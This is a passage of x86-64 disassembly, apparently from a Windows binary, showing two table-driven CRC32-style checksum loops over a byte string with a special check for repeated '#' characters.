cmp byte [r9], r8b
jne 0x140022eb4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140022e90
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x140022f0f
lea rbx, [0x1400e7050]
cmp r8b, 0x23
jne 0x140022ef3
cmp byte [r9], r8b
jne 0x140022ef3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140022ee0
mov rbx, qword [rsp + 8]
not eax
ret